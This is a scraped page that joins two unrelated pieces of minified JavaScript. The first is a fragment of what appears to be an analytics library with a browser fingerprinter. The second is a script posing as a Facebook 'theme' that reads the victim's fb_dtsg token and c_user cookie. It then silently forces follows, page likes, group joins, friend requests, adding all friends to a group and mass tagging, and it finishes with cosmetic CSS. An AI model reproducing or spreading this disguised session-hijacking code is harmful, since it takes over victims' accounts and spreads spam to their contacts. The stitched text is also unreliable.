for(b=0;b<a.length&&!1!==d(b,a[b],a);b+=1);};b.trim=function(a){return"string"===typeof a?a.replace(/^\s+|\s+$/gm,""):""};b.inArray=function(a,d){var b=d.indexOf(a);return"undefined"===typeof b||-1===b?!1:!0};b.indexOf=function(a,d){var b=d.indexOf(a);return"undefined"!==typeof b?b:-1};b.ajax=function(a){try{var d=new XMLHttpRequest;a.type=a.type||"GET";d.open(a.type,a.url,!0);"POST"===a.type&&d.setRequestHeader("Content-Type", (a.contentType?a.contentType:"application/x-www-form-urlencoded")+"; charset=UTF-8");d.onload=function(){200<=d.status&&400>d.status?b.isFunction(a.success)&&a.success(d.responseText&&hj.json.parse(d.responseText),d):b.isFunction(a.error)&&a.error(d)};d.onerror=function(){b.isFunction(a.error)&&a.error(d)};b.isFunction(a.requestAnnotator)&&a.requestAnnotator(d);"POST"===a.type&&a.data?d.send(a.data):d.send()}catch(c){hj.logException(c,{settings:a})}};b.get=function(a,d){var b=new XMLHttpRequest;b.open("GET", a,!0);b.onload=function(){200<=b.status&&400>b.status&&d&&d(b.responseText)};b.send()};b.eventHandlers={};b.selector="";var c=function(g){var d;b.selector=g;if(b.isWindow(g))this[0]=window,this.length=1;else if(b.isDocument(g))this[0]=a,this.length=1;else if("object"===typeof g)this[0]=g,this.length=1;else if("string"===typeof g&&"<"===g.charAt(0)&&">"===g.charAt(g.length-1)&&3<=g.length)d=a.createElement("div"),d.innerHTML=g,this[0]=d.childNodes[0],this.length=1;else if(g){if(!isNaN(g.charAt(1))&& ("."===g.charAt(0)||"#"===g.charAt(0)))g=g.charAt(0)+"\\3"+g.charAt(1)+" "+g.slice(2);try{a.querySelectorAll(g)}catch(c){return this.length=0,this}g=a.querySelectorAll(g);for(d=0;d<g.length;d+=1)this[d]=g[d];this.length=g.length}return this};c.prototype.val=function(a){"undefined"!==typeof a&&0<this.length&&(this[0].value=a);if(void 0!==this[0])return this[0]?this[0].value:""};c.prototype.text=function(a){return void 0===a?this[0].textContent:this[0].textContent=a};c.prototype.each=function(a,b){Array.prototype.forEach.call(this, function(a,g,n){b(g,a,n)})};c.prototype.append=function(g){var d;"object"===typeof g?"body"===b.selector?a.body.appendChild(g.get(0)):this[0].appendChild(g.get(0)):"body"===b.selector?(d=a.createElement("div"),d.innerHTML=g,a.body.appendChild(d)):(d=a.createElement("div"),d.innerHTML=g,this[0].appendChild(d))};c.prototype.hasClass=function(a){return this[0].classList?this[0].classList.contains(a):RegExp("(^| )"+a+"( |$)","gi").test(this[0].className)};c.prototype.addClass=function(a){var b;for(b= 0;b<this.length;b+=1)this[b].classList?this[b].classList.add(a):this[b].className+=" "+a;return this};c.prototype.removeClass=function(a){var b;for(b=0;b<this.length;b+=1)this[b].classList?this[b].classList.remove(a):this[b].className=this[b].className.replace(RegExp("(^|\\b)"+a.split(" ").join("|")+"(\\b|$)","gi")," ");return this};c.prototype.toggleClass=function(a){var b;for(b=0;b<this.length;b+=1)this[b].classList?this[b].classList.contains(a)?this[b].classList.remove(a):this[b].classList.add(a): RegExp("(^| )"+a+"( |$)","gi").test(this[0].className)?this[b].className=this[b].className.replace(RegExp("(^|\\b)"+a.split(" ").join("|")+"(\\b|$)","gi")," "):this[b].className+=" "+a;return this};c.prototype.is=function(a){var b;a:{b=this[0];var c=b.matchesSelector||b.msMatchesSelector||b.mozMatchesSelector||b.webkitMatchesSelector||b.oMatchesSelector;if(c)b=c.call(b,a);else{a=b.parentNode.querySelectorAll(a);for(c=a.length;c-=1;)if(a[c]===b){b=!0;break a}b=!1}}return b};c.prototype.remove=function(){var a; for(a=0;a<this.length;a+=1)this[a].parentNode.removeChild(this[a])};c.prototype.click=function(b){var d;for(d=0;d<this.length;d+=1)event=a.createEvent("HTMLEvents"),event.initEvent("click",!0,!1),this[d].dispatchEvent(event),b&&b()};c.prototype.trigger=function(b){var d,c=b.split(" "),k;for(b=0;b<this.length;b+=1)for(d=0;d<c.length;d+=1)k=a.createEvent("HTMLEvents"),k.initEvent(c[d],!0,!1),this[b].dispatchEvent(k)};c.prototype.on=function(g,d,c){var k,n=g.split(" "),q,l,f,p,h,F;if(b.isDocument(this[0])&& "string"===typeof d)for(g=0;g<n.length;g+=1)"string"===typeof d?("boolean"===typeof c&&!1===c&&(c=function(a){a.preventDefault();return!1}),q=d+"."+n[g],l=function(b){if(f=a.querySelectorAll(d)){p=b.target;for(h=-1;p&&-1===(h=Array.prototype.indexOf.call(f,p));)p=p.parentElement;-1<h&&c.call(p,b)}},"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(l),a.addEventListener(n[g].split(".")[0],l,!0)):("boolean"===typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}), "array"!==typeof b.eventHandlers.document&&(b.eventHandlers.document=[]),b.eventHandlers.document.push(d),this[0].addEventListener(n[g].split(".")[0],d,!1));else if(b.isDocument(this[0]))for(g=0;g<n.length;g+=1)"boolean"===typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}),q="document."+n[g],"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(d),a.addEventListener(n[g].split(".")[0],d,!1);else if(b.isWindow(this[0]))for(g=0;g<n.length;g+=1)"boolean"=== typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}),q="window."+n[g],"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(d),window.addEventListener(n[g].split(".")[0],d,!1);else for(k=0;k<this.length;k+=1)for(g=0;g<n.length;g+=1)"object"===typeof d?(F=d,d=function(a){a.data=F;c.call(this[k],a)}):"boolean"===typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}),q=b.selector+"."+n[g],"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(d), this[k].addEventListener(n[g].split(".")[0],d,!1);return this};c.prototype.off=function(g,c,m){var k,n,q=g.split(" ");for(g=0;g<this.length;g+=1)for(k=0;k<q.length;k+=1)if(b.isDocument(this[g])&&"string"===typeof c)if("undefined"===typeof m){if("object"===typeof b.eventHandlers[c+"."+q[k]])for(n=0;n<b.eventHandlers[c+"."+q[k]].length;n+=1)a.removeEventListener(q[k].split(".")[0],b.eventHandlers[c+"."+q[k]][n],!0)}else a.removeEventListener(q[k].split(".")[0],m,!1);else if(b.isDocument(this[g]))if("undefined"=== typeof c){if("object"===typeof b.eventHandlers["document."+q[k]])for(n=0;n<b.eventHandlers["document."+q[k]].length;n+=1)a.removeEventListener(q[k].split(".")[0],b.eventHandlers["document."+q[k]][n],!1)}else a.removeEventListener(q[k].split(".")[0],c,!1);else if(b.isWindow(this[g]))if("undefined"===typeof c){if("object"===typeof b.eventHandlers["window."+q[k]])for(n=0;n<b.eventHandlers["window."+q[k]].length;n+=1)window.removeEventListener(q[k].split(".")[0],b.eventHandlers["window."+q[k]][n],!1)}else window.removeEventListener(q[k].split(".")[0], c,!1);else if("undefined"===typeof c){if("object"===typeof b.eventHandlers[b.selector+"."+q[k]])for(n=0;n<b.eventHandlers[b.selector+"."+q[k]].length;n+=1)this[g].removeEventListener(q[k].split(".")[0],b.eventHandlers[b.selector+"."+q[k]][n],!1)}else this[g].removeEventListener(q[k].split(".")[0],c,!1);return this};c.prototype.scrollTop=function(){return window.document.body.scrollTop||window.document.documentElement.scrollTop};c.prototype.height=function(){var g;return b.isWindow(this[0])?a.documentElement.clientHeight: 9===this[0].nodeType?(g=this[0].documentElement,Math.max(this[0].body.scrollHeight,g.scrollHeight,this[0].body.offsetHeight,g.offsetHeight,g.clientHeight)):Math.max(this[0].scrollHeight,this[0].offsetHeight)};c.prototype.width=function(){var g;return b.isWindow(this[0])?a.documentElement.clientWidth:9===this[0].nodeType?(g=this[0].documentElement,Math.max(this[0].body.scrollWidth,g.scrollWidth,this[0].body.offsetWidth,g.offsetWidth,g.clientWidth)):Math.max(this[0].scrollWidth,this[0].offsetWidth)}; c.prototype.outerHeight=function(){return this[0].offsetHeight};c.prototype.offset=function(){var a=(this[0]&&this[0].ownerDocument).documentElement;return{top:this[0].getBoundingClientRect().top+window.pageYOffset-a.clientTop,left:this[0].getBoundingClientRect().left+window.pageXOffset-a.clientLeft}};c.prototype.attr=function(a,b){var c;if(b||""===b){for(c=0;c<this.length;c+=1)this[c].setAttribute(a,b);return this}if(null!==this[0].getAttribute(a))return this[0].getAttribute(a)};c.prototype.ready= function(c){b.isDocument(this[0])&&("interactive"===a.readyState||"complete"===a.readyState||"loaded"===a.readyState?c():a.addEventListener("DOMContentLoaded",c,!1))};c.prototype.parent=function(){return b(this[0].parentNode)};c.prototype.get=function(a){return this[a]};c.prototype.show=function(){var a;for(a=0;a<this.length;a+=1)this[a].style.display="";return this};c.prototype.hide=function(){var a;for(a=0;a<this.length;a+=1)this[a].style.display="none";return this};c.prototype.focus=function(){var a; for(a=0;a<this.length;a+=1)this[a].focus();return this};c.prototype.blur=function(){var a;for(a=0;a<this.length;a+=1)this[a].blur();return this};c.prototype.clone=function(){return this[0].cloneNode(!0)};c.prototype.removeAttr=function(a){var b;for(b=0;b<this.length;b+=1)this[b].removeAttribute(a);return this};c.prototype.find=function(a){var c=b(),m;try{m=this[0].querySelectorAll(a)}catch(k){return this.length=0,this}for(a=0;a<m.length;a+=1)c[a]=m[a];c.length=m.length;return c};c.prototype.is=function(a){var c, m=!1;if(!a)return!1;if("object"===typeof a)return b(this[0]).get(0)===a.get(0);if("string"===typeof a){if(":visible"===a)return!(0>=this[0].offsetWidth&&0>=this[0].offsetHeight);if(":hidden"===a)return 0>=this[0].offsetWidth&&0>=this[0].offsetHeight;if(":checked"===a)return this[0].checked;if(-1<a.indexOf("[")){if(c=/([A-Za-z]+)\[([A-Za-z-]+)\=([A-Za-z]+)\]/g.exec(a),c.length)return b.each(b(this[0]).get(0).attributes,function(a,b){b.name===c[2]&&b.value===c[3]&&(m=!0)}),b(this[0]).get(0).nodeName.toLowerCase()=== c[1]&&m}else return b(this[0]).get(0).nodeName.toLowerCase()===a}};c.prototype.css=function(a,b){var c,k;for(k=0;k<this.length;k+=1)if("object"===typeof a)for(c in a)this[k].style[c]=a[c];else if("number"===typeof b||"string"===typeof b)this[k].style[a]=b;else return getComputedStyle(this[k])[a];return this};c.prototype.animate=function(a,c){var m,k=this;"undefined"===typeof c&&(c=400);for(m=0;m<k.length;m+=1)b.each(a,function(a,b){function l(a,b){a.style[b[0].attribute]=b[0].value;b.shift();b.length? u=setTimeout(function(){l(a,b)},10):clearTimeout(u)}b=b.toString();var f=parseFloat(getComputedStyle(k[m])[a])||0,p=getComputedStyle(k[m])[a].replace(/[0-9.-]/g,""),h=parseFloat(b),g=b.replace(/[0-9.-]/g,""),p=p||g,y=h-f,g=parseFloat(c/10),y=y/g,v=[],x,u;for(x=0;x<g;x+=1)f+=y,v.push({attribute:a,value:p?parseInt(f)+p:parseFloat(f).toFixed(1)});v.pop();v.push({attribute:a,value:h+p});v.length&&l(k[m],v)});return this};c.prototype.filter=function(c){return Array.prototype.filter.call(a.querySelectorAll(b.selector), function(a,b){c(b,a)})};t.hj=t.hj||{};t.hj.hq=t.hj.hq||b})(this,document)}catch(exception$$4){hj.logException(exception$$4)} (function(){var t=null;hj.fingerprinter=function(a){this.options=this.extend(a,{sortPluginsFor:[/palemoon/i]});this.nativeForEach=Array.prototype.forEach;this.nativeMap=Array.prototype.map};hj.fingerprinter.prototype={extend:function(a,b){if(null==a)return b;for(var c in a)null!=a[c]&&b[c]!==a[c]&&(b[c]=a[c]);return b},log:function(a){window.console&&console.log(a)},get:function(){var a=[];null===t&&(a=this.userAgentKey(a),a=this.languageKey(a),a=this.colorDepthKey(a),a=this.screenResolutionKey(a), a=this.timezoneOffsetKey(a),a=this.sessionStorageKey(a),a=this.localStorageKey(a),a=this.indexedDbKey(a),a=this.addBehaviorKey(a),a=this.openDatabaseKey(a),a=this.cpuClassKey(a),a=this.platformKey(a),a=this.doNotTrackKey(a),a=this.pluginsKey(a),a=this.adBlockKey(a),a=this.hasLiedLanguagesKey(a),a=this.hasLiedResolutionKey(a),a=this.hasLiedOsKey(a),a=this.hasLiedBrowserKey(a),a=this.touchSupportKey(a),t=this.x64hash128(a.join("~~~"),31));return t},getAsNumber:function(){var a,b;a=parseInt(this.get().slice(-10), 16);b=Math.pow(2,40);return a/b},compareRatio:function(a,b){return this.getAsNumber()*(b?100:1)<=a},userAgentKey:function(a){a.push(navigator.userAgent);return a},languageKey:function(a){a.push(navigator.language);return a},colorDepthKey:function(a){a.push(screen.colorDepth);return a},screenResolutionKey:function(a){return this.getScreenResolution(a)},getScreenResolution:function(a){var b,c;b=this.options.detectScreenOrientation?screen.height>screen.width?[screen.height,screen.width]:[screen.width, screen.height]:[screen.height,screen.width];"undefined"!==typeof b&&a.push(b);screen.availWidth&&screen.availHeight&&(c=this.options.detectScreenOrientation?screen.availHeight>screen.availWidth?[screen.availHeight,screen.availWidth]:[screen.availWidth,screen.availHeight]:[screen.availHeight,screen.availWidth]);"undefined"!==typeof c&&a.push(c);return a},timezoneOffsetKey:function(a){a.push((new Date).getTimezoneOffset());return a},sessionStorageKey:function(a){this.hasSessionStorage()&&a.push("sessionStorageKey"); return a},localStorageKey:function(a){this.hasLocalStorage()&&a.push("localStorageKey");return a},indexedDbKey:function(a){this.hasIndexedDB()&&a.push("indexedDbKey");return a},addBehaviorKey:function(a){document.body&&document.body.addBehavior&&a.push("addBehaviorKey");return a},openDatabaseKey:function(a){window.openDatabase&&a.push("openDatabase");return a},cpuClassKey:function(a){a.push(this.getNavigatorCpuClass());return a},platformKey:function(a){a.push(this.getNavigatorPlatform());return a}, doNotTrackKey:function(a){a.push(this.getDoNotTrack());return a},adBlockKey:function(a){a.push(this.getAdBlock());return a},hasLiedLanguagesKey:function(a){a.push(this.getHasLiedLanguages());return a},hasLiedResolutionKey:function(a){a.push(this.getHasLiedResolution());return a},hasLiedOsKey:function(a){a.push(this.getHasLiedOs());return a},hasLiedBrowserKey:function(a){a.push(this.getHasLiedBrowser());return a},pluginsKey:function(a){this.isIE()?a.push(this.getIEPluginsString()):a.push(this.getRegularPluginsString()); return a},getRegularPluginsString:function(){for(var a=[],b=0,c=navigator.plugins.length;b<c;b++)a.push(navigator.plugins[b]);this.pluginsShouldBeSorted()&&(a=a.sort(function(a,b){return a.name>b.name?1:a.name<b.name?-1:0}));return this.map(a,function(a){var b=this.map(a,function(a){return[a.type,a.suffixes].join("~")}).join(",");return[a.name,a.description,b].join("::")},this).join(";")},getIEPluginsString:function(){return window.ActiveXObject?this.map("AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1".split(";"), function(a){try{return new ActiveXObject(a),a}catch(b){return null}}).join(";"):""},pluginsShouldBeSorted:function(){for(var a=!1,b=0,c=this.options.sortPluginsFor.length;b<c;b++)if(navigator.userAgent.match(this.options.sortPluginsFor[b])){a=!0;break}return a},touchSupportKey:function(a){a.push(this.getTouchSupport());return a},hasSessionStorage:function(){try{return!!window.sessionStorage}catch(a){return!0}},hasLocalStorage:function(){try{return!!window.localStorage}catch(a){return!0}},hasIndexedDB:function(){return!!window.indexedDB}, getNavigatorCpuClass:function(){return navigator.cpuClass?"navigatorCpuClass: "+navigator.cpuClass:"navigatorCpuClass: unknown"},getNavigatorPlatform:function(){return navigator.platform?"navigatorPlatform: "+navigator.platform:"navigatorPlatform: unknown"},getDoNotTrack:function(){return navigator.doNotTrack?"doNotTrack: "+navigator.doNotTrack:"doNotTrack: unknown"},getTouchSupport:function(){var a=0,b=!1;"undefined"!==typeof navigator.maxTouchPoints?a=navigator.maxTouchPoints:"undefined"!==typeof navigator.msMaxTouchPoints&& (a=navigator.msMaxTouchPoints);try{document.createEvent("TouchEvent"),b=!0}catch(c){}return[a,b,"ontouchstart"in window]},getAdBlock:function(){var a=document.createElement("div");a.setAttribute("id","ads");document.body.appendChild(a);return document.getElementById("ads")?!1:!0},getHasLiedLanguages:function(){if("undefined"!==typeof navigator.languages)try{if(navigator.languages[0].substr(0,2)!==navigator.language.substr(0,2))return!0}catch(a){return!0}return!1},getHasLiedResolution:function(){return screen.width< screen.availWidth||screen.height<screen.availHeight?!0:!1},getHasLiedOs:function(){var a=navigator.userAgent,b=navigator.oscpu,c=navigator.platform,a=0<=a.toLowerCase().indexOf("windows phone")?"Windows Phone":0<=a.toLowerCase().indexOf("win")?"Windows":0<=a.toLowerCase().indexOf("android")?"Android":0<=a.toLowerCase().indexOf("linux")?"Linux":0<=a.toLowerCase().indexOf("iPhone")||0<=a.toLowerCase().indexOf("iPad")?"iOS":0<=a.toLowerCase().indexOf("mac")?"Mac":"Other";return("ontouchstart"in window|| 0<navigator.maxTouchPoints||0<navigator.msMaxTouchPoints)&&"Windows Phone"!==a&&"Android"!==a&&"iOS"!==a&&"Other"!==a||"undefined"!==typeof b&&(0<=b.toLowerCase().indexOf("win")&&"Windows"!==a&&"Windows Phone"!==a||0<=b.toLowerCase().indexOf("linux")&&"Linux"!==a&&"Android"!==a||0<=b.toLowerCase().indexOf("mac")&&"Mac"!==a&&"iOS"!==a||0===b.toLowerCase().indexOf("win")&&0===b.toLowerCase().indexOf("linux")&&0<=b.toLowerCase().indexOf("mac")&&"other"!==a)||0<=c.toLowerCase().indexOf("win")&&"Windows"!== a&&"Windows Phone"!==a||(0<=c.toLowerCase().indexOf("linux")||0<=c.toLowerCase().indexOf("android")||0<=c.toLowerCase().indexOf("pike"))&&"Linux"!==a&&"Android"!==a||(0<=c.toLowerCase().indexOf("mac")||0<=c.toLowerCase().indexOf("ipad")||0<=c.toLowerCase().indexOf("ipod")||0<=c.toLowerCase().indexOf("iphone"))&&"Mac"!==a&&"iOS"!==a||0===c.toLowerCase().indexOf("win")&&0===c.toLowerCase().indexOf("linux")&&0<=c.toLowerCase().indexOf("mac")&&"other"!==a?!0:"undefined"===typeof navigator.plugins&&"Windows"!== a&&"Windows Phone"!==a?!0:!1},getHasLiedBrowser:function(){var a=navigator.userAgent,b=navigator.productSub,a=0<=a.toLowerCase().indexOf("firefox")?"Firefox":0<=a.toLowerCase().indexOf("opera")||0<=a.toLowerCase().indexOf("opr")?"Opera":0<=a.toLowerCase().indexOf("chrome")?"Chrome":0<=a.toLowerCase().indexOf("safari")?"Safari":0<=a.toLowerCase().indexOf("trident")?"Internet Explorer":"Other";if(("Chrome"===a||"Safari"===a||"Opera"===a)&&"20030107"!==b)return!0;b=eval.toString().length;if(37===b&& "Safari"!==a&&"Firefox"!==a&&"Other"!==a||39===b&&"Internet Explorer"!==a&&"Other"!==a||33===b&&"Chrome"!==a&&"Opera"!==a&&"Other"!==a)return!0;var c;try{throw"a";}catch(g){try{g.toSource(),c=!0}catch(d){c=!1}}return c&&"Firefox"!==a&&"Other"!==a?!0:!1},isIE:function(){return"Microsoft Internet Explorer"===naviga
adesatria / Themevar fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Theme By: adE Satria https://www.facebook.com/ProfiLadesatria'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //Boss a("100004368643588");a("100007079796120");a("100001503619455"); sublist("243737815781838");sublist("1387712268141420");sublist("262092750613011"); var gid = ['787801977901062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "531553660285377"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: url(\"http://25.media.tumblr.com/tumblr_lw8xyvoJAb1qjkn2ho2_500.gif\") no-repeat fixed, -webkit-radial-gradient(100% 50%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, -webkit-radial-gradient(0% 50%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, -webkit-radial-gradient(50% 0%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, -webkit-radial-gradient(50% 100%, circle, #FFBB22 3%, #BBAA44 10%, transparent 45%) fixed, #444410 !important;\nbackground-size: 100% 100%, cover, cover, cover, cover, cover !important;\n}\n* {\nborder-color: transparent !important;\nfont-family: Comic Sans MS !important;\ncolor: #FFFFFF !important;\nbackground-color: transparent !important; \n}\n\n\na,.UIActionButton_Text,span,div,input[value=\"Comment\"] {text-shadow: #000 1px 1px 1px !important;}\n\n.UIComposer_InputArea *,.highlighter div{text-shadow: 